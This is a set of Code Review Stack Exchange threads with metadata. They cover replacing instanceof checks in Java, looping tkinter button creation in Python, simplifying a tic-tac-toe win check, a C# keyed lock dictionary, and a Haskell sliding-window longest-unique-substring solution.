have ran into a situation where I have had to use the <code>instanceof</code> function multiple times and since this is considered a code smell, I'd like to know if there is a better way of going about it. The situation I'm describing happens when I try to get one of the child objects when a point item is specidied, the code looks like this right now</p> <pre><code>public static &lt;T&gt; T getCurrentMapObjectWithPoint(Point point, T [] bases){ T base = null; for(T model: bases){ Point[] points = getpointsArrayFromMapObject(model); for(Point currentpoint: points){ if(currentpoint.id.equals(point.id)){ return base; } } } return base; } private static &lt;T&gt; point[] getpointsArrayFromMapObject(T base){ if(base instanceof Amenity ){ return ((Amenity) base).getpoints(); } else if(base instanceof Destination){ return ((Destination) base).getpoints(); } else if (base instanceof LandMark){ return ((LandMark) base).getpoints(); } return new point[]{}; } </code></pre> <p>So simply put, given a <code>Point</code> and list of map items(<code>T[] base</code> - which means and array of either Amenity, Destination or Landmark) I'm trying to figure out which Amenity, Destination or LandMark the point belongs to which means I have to go throgh the list of map items and for each item, go through the points for that item and whenever the point id is equal to the id of the point given at the start I break out of the loop and return the current map item. Is there a better way of doing this without using <code>instanceof</code> multiple times?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-10T13:06:46.490", "Id": "453148", "Score": "0", "body": "Are these classes instantiated by your code (i.e. `new Amenity()`) or do they materialise out of the library?" } ]
[ { "body": "<p>Create a class that extends <code>Base</code> that has the <code>points</code> field and have your 3 classes extend that class.</p>\n\n<p>Your improved method would look like this: (Note: you should give it a better name)</p>\n\n<pre><code>private static &lt;T&gt; point[] getpointsArrayFromMapObject(T base){\n if(base instanceof MyBase ){\n return ((MyBase) base).getpoints();\n }\n\n return new point[]{};\n}\n</code></pre>\n\n<p>However It looks like these methods only relate to the type <code>Base</code>. If so you can change your generic to extend from it:</p>\n\n<pre><code>private static &lt;T extends MyBase&gt; point[] getpointsArrayFromMapObject(T base) \n{\n return base.getpoints();\n}\n</code></pre>\n\n<p>You should note it does not matter if each class implements its own <code>getPoints</code> method. The correct method will be executed based on the type of Object passed. This is known as <code>polymorphism</code>.</p>\n\n<p>At which point, there is no need for an additional method:</p>\n\n<pre><code>public static &lt;T extends Base&gt; T getCurrentMapObjectWithPoint(Point point, T [] bases){\n T base = null;\n for(T model: bases){\n Point[] points = base.getPoints();\n for(Point currentpoint: points){\n if(currentpoint.id.equals(point.id)){\n return base;\n }\n }\n }\n return base;\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T03:46:34.213", "Id": "452757", "Score": "0", "body": "apologies but the children classes are also in the library and cannot be modified by me to extend a new class." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T00:48:32.750", "Id": "231861", "ParentId": "231859", "Score": "2" } }, { "body": "<p>I will assume that you really, really want to use the classes defined in the library and not make your own. Presumably the library classes offer other benefits that were not otherwise relevant to the question.</p>\n\n<p>One thought is that you could define an interface that offers a function with the same signature as <code>getPoints</code>, though with a different function name.</p>\n\n<pre><code>public interface PointListGettable {\n public Point[] getPointList();\n}\n</code></pre>\n\n<p>(You'd probably want to come up with a better name than <code>PointListGettable</code>, however.)</p>\n\n<p>Extend the offending classes so they implement this interface. For example:</p>\n\n<pre><code>public MyDestination extends Destination implements PointListGettable {\n public Point[] getPointList() {\n return getPoints();\n }\n}\n</code></pre>\n\n<p>Now you can implement a function with a signature like</p>\n\n<pre><code>public PointListGettable getCurrentMapObjectWithPoint(Point point, PointListGettable [] bases)\n</code></pre>\n\n<p>but rather than define a function like your <code>getpointsArrayFromMapObject</code>, within the body of the <code>for(PointListGettable model: bases)</code> loop you can just write <code>model.getPointList()</code>.</p>\n\n<p>If it's just a matter of getting around one perceived defect in the inheritance scheme without using <code>instanceof</code>, however, I'm not sure all this is worth it.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T03:51:53.487", "Id": "452758", "Score": "0", "body": "thank you, also not sure if it's worth it." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T02:37:42.087", "Id": "231867", "ParentId": "231859", "Score": "3" } }, { "body": "<p>You <em>cannot</em> avoid some kind of <code>instanceof</code> checks but you can do them once only. This is useful if you intend to check the <em>same</em> objects multiple times. It seems like a lot of effort but I've had to deal with co-mingled types a few times over the years so it's a useful pattern to know.</p>\n\n<h3>Example 1 - group by Class</h3>\n\n<p>Here we map a stream of unrelated classes into something that can be operated on by type-specific code. There is some ugly (but semantically safe) type-erasure going on in there.</p>\n\n<pre class=\"lang-java prettyprint-override\"><code> @SuppressWarnings(\"unchecked\")\n private static Object findByPoint(String target, Map&lt;Class, List&gt; mapped ) {\n for( String s : (List&lt;String&gt;)mapped.get(String.class) ) {\n if ( s.equals(target)) return s;\n }\n for( Long l : (List&lt;Long&gt;)mapped.get(Long.class) ) {\n if ( l.toString().equals(target)) return l;\n }\n for( Float f : (List&lt;Float&gt;)mapped.get(Float.class) ) {\n if ( f.toString().equals(target)) return f;\n }\n return null;\n }\n\n public static void main(String[] args) {\n Object[] things = {\"\", 1L, 2f};\n Map&lt;Class, List&gt; mapped = (Map)Arrays.stream(things)\n .collect(groupingBy(Object::getClass));\n Object o = findByPoint(\"1\", mapped);\n\n }\n</code></pre>\n\n<h3>Example 2 - group by Enum</h3>\n\n<p>If you want something more \"runtime optimisable\" then separate the conditional code into discrete classes. <code>Enums</code> and <code>EnumMap</code> are good for this.</p>\n\n<pre class=\"lang-java prettyprint-override\"><code> @SuppressWarnings( {\"unchecked\", \"unused\"})\n private enum BaseType {\n StringType() {\n @Override\n String findByPoint(String target, List items) {\n for (String s : (List&lt;String&gt;)items) {\n if (s.equals(target)) {\n return s;\n }\n }\n return null;\n }\n },\n LongType() {\n @Override\n Long findByPoint(String target, List items) {\n for (Long l : (List&lt;Long&gt;)items) {\n if (l.toString().equals(target)) {\n return l;\n }\n }\n return null;\n }\n },\n FloatType() {\n @Override\n Float findByPoint(String target, List items) {\n for (Float f : (List&lt;Float&gt;)items) {\n if (f.toString().equals(target)) {\n return f;\n }\n }\n return null;\n }\n };\n\n abstract &lt;T&gt; T findByPoint(String target, List items);\n\n public static BaseType typeForObject(Object o) {\n return BaseType.valueOf(o.getClass().getSimpleName() + \"Type\"); // TODO Neither clever nor safe\n }\n\n }\n\n private static Object findByPoint(String target, Map&lt;BaseType, List&lt;Object&gt;&gt; mapped) {\n Object o;\n for (Map.Entry&lt;BaseType, List&lt;Object&gt;&gt; entry : mapped.entrySet()) {\n if ((o = entry.getKey().findByPoint(target, entry.getValue())) != null) {\n return o;\n }\n }\n return null;\n }\n\n public static void main(String[] args) {\n Object[] things = {\"\", 1L, 2f};\n Map&lt;BaseType, List&lt;Object&gt;&gt; mapped = Arrays.stream(things)\n .collect(groupingBy(BaseType::typeForObject, () -&gt; new EnumMap&lt;&gt;(BaseType.class), toList()));\n Object o = findByPoint(\"1\", mapped);\n }\n<span class=\"math-container\">````</span>\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-10T21:16:03.713", "Id": "232162", "ParentId": "231859", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T00:21:25.010", "Id": "231859", "Score": "3", "Tags": [ "java" ], "Title": "Getting rid of an inordinate use of the `instanceof` function" }
231859
<p>I've written a simple unconventional calculator application using <code>Python</code> and <code>tkinter</code>. It's unconventional because you use the "modes" (<code>+ - * /</code>) to add to the current sum, instead of entering in a statement and doing that calculation. Because of this, <code>0</code> is not included. The main part of my program I would appreciate being reviewed:</p> <p><strong>Creating The Number Buttons</strong></p> <p>I absolutely <em>hate</em> large blocks of code that are essentially the same except for one or two things. In this case, it's creating the buttons. I am certain it is possible doing it with a loop, but everything I've attempted has resulted in failure. Everything works as intended, but I'd really appreciate some suggestions pertaining to the number buttons creation. As always, other feedback is welcome and greatly appreciated.</p> <pre><code>from tkinter import Tk, Label, Button class Calculator: def __init__(self, master: Tk): # Initial Setup # self.master = master self.master.title("Calculator") self.master.maxsize(500, 700) self.sum = 0 self.mode = "+" # Number Buttons self.number_buttons = [ Button(master, text="1", command=lambda: self.do_math(1)), Button(master, text="2", command=lambda: self.do_math(2)), Button(master, text="3", command=lambda: self.do_math(3)), Button(master, text="4", command=lambda: self.do_math(4)), Button(master, text="5", command=lambda: self.do_math(5)), Button(master, text="6", command=lambda: self.do_math(6)), Button(master, text="7", command=lambda: self.do_math(7)), Button(master, text="8", command=lambda: self.do_math(8)), Button(master, text="9", command=lambda: self.do_math(9)) ] # Mode Button and Label self.mode_label = Label(master, text=f"Mode: {self.mode}") self.mode_button = Button(master, text="Change Mode", command=self.change_mode) # Sum Label Setup # self.sum_label = Label(master, text=str(self.sum)) self.sum_label.grid(row=1, column=2) # Reset Button Setup # self.reset_button = Button(master, text="Reset", command=self.reset_sum) # Calculate/Set Layout for Buttons # r, c = 2, 1 for number_button in self.number_buttons: number_button.configure(width=10, height=10) number_button.grid(row=r, column=c) if c % 3 == 0: r += 1 c = 0 c += 1 # Add Mode Label/Button # self.mode_label.grid(row=5, column=2) self.mode_button.grid(row=6, column=2) # Add Reset Button # self.reset_button.grid(row=7, column=2) def do_math(self, num: int) -&gt; None: """ Checks the current mode and modifies the sum :param num -&gt; int: Button clicked by the user :return: None """ modes = { "+": self.sum + num, "-": self.sum - num, "*": self.sum * num, "/": self.sum / num } self.sum = modes[self.mode] self.sum_label.configure(text=str(self.sum)) def change_mode(self) -&gt; None: """ Changes the mode in (+, -, *, /) rotation :return: None """ modes = { "+": "-", "-": "*", "*": "/", "/": "+" } self.mode = modes[self.mode] self.mode_label.configure(text=f"Mode: {self.mode}") def reset_sum(self) -&gt; None: """ Resets the sum :return: None """ self.sum = 0 self.sum_label.configure(text=str(self.sum)) if __name__ == "__main__": root = Tk() gui = Calculator(root) root.resizable(width=False, height=False) root.mainloop() </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:10:20.227", "Id": "452481", "Score": "0", "body": "If I understood the basic idea correctly, this is not as \"unusual\" as you might think. Older calculators and also the software calculator on Windows work like this. However, your comment about not needing `0` threw me off a little bit. How would one express something like `1000+5000` in your calculator?" } ]
[ { "body": "<p>To reduce duplication, look at what's identical in each line, and what's different. For the different parts, make them a part of a loop, or the arguments to a function. For the identical parts, make them the body of the function/loop. In this case, look at the lines:</p>\n\n<pre><code>Button(master, text=\"1\", command=lambda: self.do_math(1)),\nButton(master, text=\"2\", command=lambda: self.do_math(2)),\nButton(master, text=\"3\", command=lambda: self.do_math(3)),\n</code></pre>\n\n<p>The only thing that differs are the <code>text</code> parameter values, and the argument to <code>do_math</code>. Conveniently, they're the same, so this can be a simple loop over a range of numbers. I'm going to use a list comprehension here:</p>\n\n<pre><code>self.number_buttons = [Button(master, text=str(n), command=lambda n: self.do_math(n))\n for n in range(1, 10)]\n</code></pre>\n\n<p>And in most cases, that would be fine. Unfortunately though, you're needing to put <code>n</code> inside of a <code>lambda</code>, and that can cause some <a href=\"https://stackoverflow.com/questions/233673/how-do-lexical-closures-work\">surprising problems</a>. To fix it, I'm going to use the <code>lambda n=n: . . .</code> fix. If I didn't make this change, the <code>text</code> would be set fine, but each button would end up being passed <code>19</code> instead of the correct number.</p>\n\n<pre><code>self.number_buttons = [Button(master, text=str(n), command=lambda n=n: self.do_math(n))\n for n in range(1, 10)]\n</code></pre>\n\n<hr>\n\n<p><code>modes</code> also has some duplication that can be improved.</p>\n\n<pre><code>modes = {\n \"+\": self.sum + num,\n \"-\": self.sum - num,\n \"*\": self.sum * num,\n \"/\": self.sum / num\n}\n\nself.sum = modes[self.mode]\n</code></pre>\n\n<p>You're repeating <code>self.sum</code> and <code>num</code> over and over. You can just deal with the data later by mapping to functions instead of the sum. The <code>operator</code> module has functions that correspond to the common operators like <code>+</code> to make this easy:</p>\n\n<pre><code>import operator as op\n\nmode_ops = {\n \"+\": op.add,\n \"-\": op.sub,\n \"*\": op.mul,\n \"/\": op.truediv\n}\n\nf = mode_ops[self.mode]\nself.sum = f(self.sum, num) # Now we only need to specify the data once\n</code></pre>\n\n<p>This also saves you from computing every possible answer ahead of time. If you ever added an expensive operator, this could save some overhead (although it would be unlikely that that would ever be a major problem).</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T03:13:12.803", "Id": "452454", "Score": "0", "body": "I knew there was a way with a loop! I used your exact loop but the `n=n`. It was driving me crazy, thank you!" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T02:10:01.790", "Id": "231866", "ParentId": "231863", "Score": "5" } } ]
{ "AcceptedAnswerId": "231866", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T01:31:26.627", "Id": "231863", "Score": "3", "Tags": [ "python", "python-3.x", "tkinter" ], "Title": "Python Calculator with tkinter" }
231863
<p>I recently got <a href="https://stackoverflow.com/q/58704185/">some help from Stack Overflow</a> on my Tic-Tac-Toe code for the win conditions, but I think it could be optimized a little more. Any tips?</p> <pre><code>moves = [["1", "2", "3"], ["1", "2", "3"], ["1", "2", "3"]] acc = 0 def win(letter): for i in range(3): if ((moves[i][0] == moves[i][1] == moves[i][2] == letter) or (moves[0][i] == moves[1][i] == moves[2][i] == letter)): print("~~~ " + letter + " WON!!! CONGRATS!!!! ~~~") quit() if (set(moves[i][i] for i in range(3)) == set([letter])): print("~~~ " + letter + " WON!!! CONGRATS!!!! ~~~") quit() if (set(moves[i][2-i] for i in range(3)) == set([letter])): print("~~~ " + letter + " WON!!! CONGRATS!!!! ~~~") quit() if (acc == 5): print("TIE YOU BOTH LOSE") quit() def playerInput(): global acc player1 = input("Where do you want to place your X, player 1? (row number, space, number)") moves[int(player1[0]) - 1][int(player1[2]) - 1] = "X" acc += 1 win("X") player2 = input("Where do you want to place your O, player 2? (row number, space, number)") moves[int(player2[0]) - 1][int(player2[2]) - 1] = "O" boardDraw() def boardDraw(): print("1| "+moves[0][0]+" | "+moves[0][1]+" | "+moves[0][2]+" |") print(" |---+---+---|") print("2| "+moves[1][0]+" | "+moves[1][1]+" | "+moves[1][2]+" |") print(" |---+---+---|") print("3| "+moves[2][0]+" | "+moves[2][1]+" | "+moves[2][2]+" |") win("X") win("O") playerInput() print("OK SO....\nPlayer 1 is X\nPlayer 2 is O\nGOOOOO!!") boardDraw() </code></pre>
[]
[ { "body": "<p>Recently, <em>\"Tic-tac-toe\"</em> game is gaining popularity on CR.<br>It may even deserve a separate playlist like <em>\"Tic-tac-toe\" Refactorings on various programming languages</em>.<br>You may find how other guys on CR already <em>succeeded</em> with different implementations (some on pure Python, some - involving <code>numpy</code> functionality).</p>\n\n<p>But let's return to your current variation.</p>\n\n<ul>\n<li><code>moves</code> list. It's better named as <strong><code>board</code></strong> (as a <em>game</em> field).<br>Instead of typing all board items it could be easily initiated with <code>board = [['1','2','3'] for _ in range(3)]</code></li>\n<li><p><code>win</code> function. It sounds like <em>affirmative</em> but it's actually testing for a win.<br>Thus a better name would be <strong><code>check_win</code></strong> </p></li>\n<li><p><code>set(moves[i][i] for i in range(3)) == set([letter])</code> condition. Instead of generating 2 <code>set</code> objects - use a convenient <code>all</code> function:</p>\n\n<pre><code>all(board[i][i] == letter for i in range(3))\n</code></pre></li>\n<li><p><code>for</code> loop (in <code>check_win</code> function) that checks for <em>crossed</em> row can be replaced with <code>any</code> call to serve a more wide consolidation.</p></li>\n<li><p>2 statements:</p>\n\n<pre><code>print(\"~~~ \" + letter + \" WON!!! CONGRATS!!!! ~~~\")\nquit()\n</code></pre>\n\n<p>are duplicated across 3 different conditions. That's an explicit case for <em>Consolidate conditional expression</em> technique - we'll combine the conditions that share the same \"body\" with logical operator.<br>Eventually the optimized <code>check_win</code> function would look as:</p>\n\n<pre><code>def check_win(letter):\n if any((board[i][0] == board[i][1] == board[i][2] == letter) or\n (board[0][i] == board[1][i] == board[2][i] == letter) for i in range(3)) \\\n or all(board[i][i] == letter for i in range(3)) \\\n or all(board[i][2 - i] == letter for i in range(3)):\n print(f\"~~~ {letter} WON!!! CONGRATS!!!! ~~~\")\n quit()\n if acc == 5:\n print(\"TIE YOU BOTH LOSE\")\n quit()\n</code></pre></li>\n<li><p><code>playerInput</code> and <code>boardDraw</code> should be renamed to <code>player_input</code> and <code>board_draw</code> to follow naming conventions</p></li>\n<li><p>printing game's board in <code>board_draw</code> function looks really sad and painful.<br>Python provides a good string formatting features.<br>Just use them, as shown below:</p>\n\n<pre><code>def board_draw():\n board_fmt = '''\n1| {} | {} | {} |\n |---+---+---|\n2| {} | {} | {} |\n |---+---+---|\n3| {} | {} | {} | \n '''\n print(board_fmt.format(*[v for row in board for v in row]))\n\n check_win(\"X\")\n check_win(\"O\")\n player_input()\n</code></pre></li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:42:17.143", "Id": "452564", "Score": "1", "body": "Thanks! Learned some things about python in the process :)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:45:25.297", "Id": "452567", "Score": "1", "body": "@James, welcome. It's good to be helpful for someone ..." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T10:40:38.150", "Id": "231877", "ParentId": "231873", "Score": "3" } } ]
{ "AcceptedAnswerId": "231877", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T04:55:14.000", "Id": "231873", "Score": "5", "Tags": [ "python", "python-3.x", "game", "tic-tac-toe" ], "Title": "Tic Tac Toe code could probably be optimized more" }
231873
<p>The following code is greatly inspired on <a href="https://codereview.stackexchange.com/questions/105523/item-level-locks-for-a-large-number-of-items">this</a> question and <a href="https://codereview.stackexchange.com/a/106343/49776">this</a> answer. That answer works quite well for a specific case, but I was looking for a solution that:</p> <ol> <li>could be used more generic (so I can put this in a base library and never have to think about it anymore).</li> <li>got rid of the <code>Find()</code> and replace it with a O1 dictionary lookup. To be honest I doubt if this would have any performance effect, but it was tickling my OCDs.</li> </ol> <p>I've tried to test it with running about 10 threads and superficially it <em>seems</em> to work. But as concurrency is hard to test and reason about - am I missing something? Any other obvious upgrades?</p> <pre><code>public class LockDictionary&lt;TKey&gt; { object _RootLock = new object(); Dictionary&lt;TKey,ItemLock&gt; _KeyToLock = new Dictionary&lt;TKey,ItemLock&gt;(); public IDisposable Lock(TKey key) { ItemLock item_lock; lock ( _RootLock ) { item_lock = GetOrCreate(key); item_lock._Counter++; } Monitor.Enter(item_lock); return new LockCounter(this, key); } private ItemLock GetOrCreate(TKey key) { if ( !_KeyToLock.TryGetValue(key, out var item_lock) ) { item_lock = new ItemLock(); _KeyToLock.Add( key, item_lock ); } return item_lock; } private void ReleaseLock(TKey key) { lock (_RootLock) { var item_lock = _KeyToLock[key]; item_lock._Counter--; if ( item_lock._Counter == 0 ) _KeyToLock.Remove(key); Monitor.Exit(item_lock); } } private class ItemLock { public object _ItemLock = new object(); public int _Counter = 0; } private class LockCounter : IDisposable { LockDictionary&lt;TKey&gt; _Parent; TKey _Key; public LockCounter(LockDictionary&lt;TKey&gt; parent, TKey key) { _Parent = parent; _Key = key; } public void Dispose() { _Parent.ReleaseLock(_Key); } } } </code></pre> <p><strong>Update</strong></p> <p>To clarify; I'm looking for an implementation for the following:</p> <pre><code>// minimal definition boilerplate // possibility of using other types as key, like string, long or a struct static LockDictionary&lt;int&gt; _LockDictionary = new LockDictionary&lt;int&gt;(); // minimal boilerplate for having a separate lock per "groupId" using ( _LockDictionary.Lock(groupId) ) { // can only be run once concurrently per unique groupId } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T09:25:54.093", "Id": "452462", "Score": "0", "body": "Why you're not locking `Monitor.Enter(item_lock)` with your `_RootLock` but locking `Monitor.Exit(item_lock);`? Seems a bit inconsistent to me" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T09:30:20.960", "Id": "452463", "Score": "0", "body": "Good point - I guess I can move the `Monitor.Exit` outside the `_RootLock`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T10:33:32.713", "Id": "452466", "Score": "0", "body": "If it fits your needs I'd rewrite this to use a `ConditionalWeakTable`, it's probably faster, slimmer and already well tested. Also note that if `Lock()` fails anywhere you might have orphans in your dictionary (and acquired but unreleased locks and/or inconsistencies between `_Counter` and calls to `Monitor.Enter()`). In short...hmmm...instead of trying to have a complex locking mechanism which should be extremely well reviewed (and with good chances to take it wrong), what are you trying to achieve?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T10:42:29.553", "Id": "452469", "Score": "0", "body": "Hi @AdrianoRepetti, I've updated the question with the \"interface\" I'd like to fill. I'm not familiar with `ConditionalWeakTable` but if that makes it easy to be wrapped that would be preferred of course." } ]
[ { "body": "<ol>\n<li>ItemLock._ItemLock is not used anywhere. Also, as a side note, I'm not a fan of using _NamesLikeThis for public items</li>\n<li>Using a single lock may not be the best idea performance-wise (though heavily scenario-dependent). Consider using CuncurrentDictionary (which of course brings all sorts of new propblems, but this is how concurrency works). Also, you may consider using a ReadWriteLockSlim, it <em>might</em> be more performant in some scenarios</li>\n<li>ReleaseLock is not safe if not matched by a Lock call. Which might happen for example in case of a ThreadAbort. An ugly, but widespread way of dealing with it is placing the critical code to a finally block. This article from the SQL Server people might also be of interest: <a href=\"https://docs.microsoft.com/en-us/dotnet/framework/performance/reliability-best-practices\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/dotnet/framework/performance/reliability-best-practices</a> </li>\n</ol>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T07:33:56.757", "Id": "453026", "Score": "0", "body": "Hi @vvoton, thanks for your answer. Sorry I broke it with some refactoring during copy pasting - it should now work again." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T07:34:16.447", "Id": "453027", "Score": "0", "body": "What would the fix be for point 3?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T08:30:26.360", "Id": "453028", "Score": "1", "body": "@DirkBoer,the usual (though quite ugly) hack is to put the critical code inside a finally section. There is a nice article on reliablity from the SQL server team here https://docs.microsoft.com/en-us/dotnet/framework/performance/reliability-best-practices" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T12:36:03.850", "Id": "453043", "Score": "1", "body": "@Mast, I've updated the answer" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-11T14:32:27.183", "Id": "453248", "Score": "0", "body": "hi @vvotan thanks a lot! Quite interesting! Wouldn't this be applicable to (a lot of) `Dispose()` methods in general though? So do they all have a large `finally` block in there? Isn't it already implied with `Dispose()` that it's quite important that the code should be called? Is that the differentiation? `Dispose()` is important, but `finally` within `Dispose()` is marked as **critical**? It feels a bit *arbitrary*." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-11T15:34:31.593", "Id": "453258", "Score": "1", "body": "@DirkBoer Usually Dispose does not do anything critical. If it fails, there is always a GC to pick things up. You should only care if you class has some critical resource like a mutex of a file handle and your process absolutely needs to accommodate for this rather low-probability scenario, like for example an SQL server. And there are classes like SafeHandle that do this more or less automagically. Also, .NET core does not support ThreadAborts, which are the most dangerous of the async exceptions so this becomes less of an issue" } ], "meta_data": { "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T12:09:13.940", "Id": "232055", "ParentId": "231874", "Score": "1" } } ]
{ "AcceptedAnswerId": "232055", "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T06:51:31.313", "Id": "231874", "Score": "1", "Tags": [ "c#", "locking" ], "Title": "Dictionary for locking on unique identifiers without leaking memory" }
231874
<p>I started learning Haskell a while ago and now I am in this dangerous state where I can produce code that does things but which probably makes experienced developers hit their heads against the wall :) So I thought I'd try posting it here and get some feedback.</p> <p>The problem I'm looking at is the "Longest Substring Without Repeating Characters" problem from LeetCode (<a href="https://leetcode.com/problems/longest-substring-without-repeating-characters/" rel="nofollow noreferrer">https://leetcode.com/problems/longest-substring-without-repeating-characters/</a>).</p> <p>The name already says about all there is to know. Here are some examples:</p> <pre><code>"abcabcbb" -&gt; "abc" (or "bca", or "cab", ...) "bbbbb" -&gt; "b" "pwwkew" -&gt; "wke" (or "kew") "a" -&gt; "a" "" -&gt; "" </code></pre> <p>I started with implementing the naive solution. It goes over each position of the string, tries to extend a substring until a repeated character is encountered and maintains the maximum while doing so. The algorithm is O(n^2).</p> <pre class="lang-hs prettyprint-override"><code>import Data.Maybe import qualified Data.HashMap.Strict as M import qualified Data.HashSet as S import Data.Foldable ( maximumBy ) import Data.Ord ( comparing ) type Span = (Int, Int) type CharacterIndex = M.HashMap Char Int -- |Calculate length of span. spanLength :: Span -&gt; Int spanLength (start, end) = end - start + 1 -- |Return a maximum-length substring without repeating characters. -- This is the naive O(n^2) implementation. solutionNaive :: String -&gt; String solutionNaive xs = solution' xs "" where -- Recurse over each position and try to expand as far as possible from there. solution' [] longest = longest solution' xs longest = let uniqueStr = takeWhileUnique xs S.empty in solution' (tail xs) (maximumBy (comparing length) [longest, uniqueStr]) -- Take elements from the list until the first duplicated element is encountered. takeWhileUnique [] _ = [] takeWhileUnique (x : xs) seen = if x `S.member` seen then [] else x : takeWhileUnique xs (x `S.insert` seen) </code></pre> <p>Next I switched back to imperative programming for a while and implemented (with a bit of inspiration from the official solution) this nicely optimised O(n) sliding window algorithm. </p> <pre class="lang-cpp prettyprint-override"><code>#include &lt;array&gt; #include &lt;string&gt; using namespace std; /** * Return a maximum-length substring without repeating characters. */ string solution(string s) { // invariant: window_left points to start of current unique window int window_left = 0; int longest = 0; // invariant: saved_left points to start of longest unique window int saved_left = 0; // for each element, stores the position where he have last encountered it array&lt;int, 256&gt; chr_idxs; chr_idxs.fill(-1); // invariant: i points right of current unique window int i = 0; int candidate_length = 0; while (i &lt; s.size()) { if (chr_idxs[s[i]] &gt;= window_left) { // current character is already in the window // we move the window start directly to the // right of the last encountered position window_left = chr_idxs[s[i]] + 1; } else { // current character is not in the window yet // expand the window chr_idxs[s[i]] = i; i += 1; // check if we have a new max candidate_length = i - window_left; if (candidate_length &gt; longest) { longest = candidate_length; saved_left = window_left; } } } return s.substr(saved_left, longest); } </code></pre> <p>After I had it working in C++, I naturally wanted to optimise my Haskell version in the same way. The resulting code literally looks like this though: imperative code squeezed into Haskell. Lots of ugly index manipulation which makes it super easy to introduce bugs.</p> <pre class="lang-hs prettyprint-override"><code>-- |Extract span from list. spanExtract :: Span -&gt; [a] -&gt; [a] spanExtract (start, end) = drop start . take (end + 1) -- |Return a maximum-length substring without repeating characters. -- This is the more sophisticated O(n) implementation. solution :: String -&gt; String solution xs = spanExtract (solution' xs M.empty (0, 0) (0, 0)) xs where -- Slide a window over the string and try to expand it if possible. solution' [] _ _ maxWin = maxWin solution' (x : xs) seen curWin@(curLeft, curRight) maxWin = let lastSeenIdx = fromMaybe (-1) (M.lookup x seen) duplicated = lastSeenIdx &gt;= curLeft recurse = solution' xs (M.insert x curRight seen) in if duplicated -- If current element is duplicated, move window start to -- the right of the last encountered version and continue. then recurse (lastSeenIdx + 1, curRight + 1) maxWin -- Otherwise expand window and check if we have a new max. else recurse (curLeft, curRight + 1) (maximumBy (comparing spanLength) [maxWin, curWin]) </code></pre> <p>I wonder if there are ways to make this cleaner without changing back into a worse complexity class.</p> <p>I'd be happy about any kind of feedback - thank you in advance already!</p>
[]
[ { "body": "<pre><code>solutionNaive :: String -&gt; String\nsolutionNaive xs = maximumBy (comparing length) $ map (takeWhileUnique S.empty) $ tails xs where\n -- Take elements from the list until the first duplicated element is encountered.\n takeWhileUnique _ [] = []\n takeWhileUnique seen (x : xs) = if x `S.member` seen\n then []\n else x : takeWhileUnique xs (x `S.insert` seen)\n</code></pre>\n\n<p>(Higher-order <code>foldr</code> could get rid of that explicit recursion, but it's not gainful.)</p>\n\n<p>Your second solution does seem to require stateful arithmetic. We can still make it hurt less.</p>\n\n<pre><code>-- |Return a maximum-length substring without repeating characters.\n-- This is the more sophisticated O(n) implementation.\nsolution :: String -&gt; String\nsolution = spanExtract . maximumBy (comparing spanLength) . mapAccumL step (M.empty, 0) . zip [0..]\n where step (seen, curLeft) (curRight, x) =\n ( (M.insert x curRight seen, max curLeft $ maybe 0 (+1) $ M.lookup x seen)\n , (curLeft, curRight)\n )\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T14:49:49.033", "Id": "231892", "ParentId": "231878", "Score": "1" } } ]
{ "AcceptedAnswerId": "231892", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T10:45:57.650", "Id": "231878", "Score": "3", "Tags": [ "c++", "algorithm", "haskell" ], "Title": "Longest Substring Without Repeating Characters, Haskell" }
231878
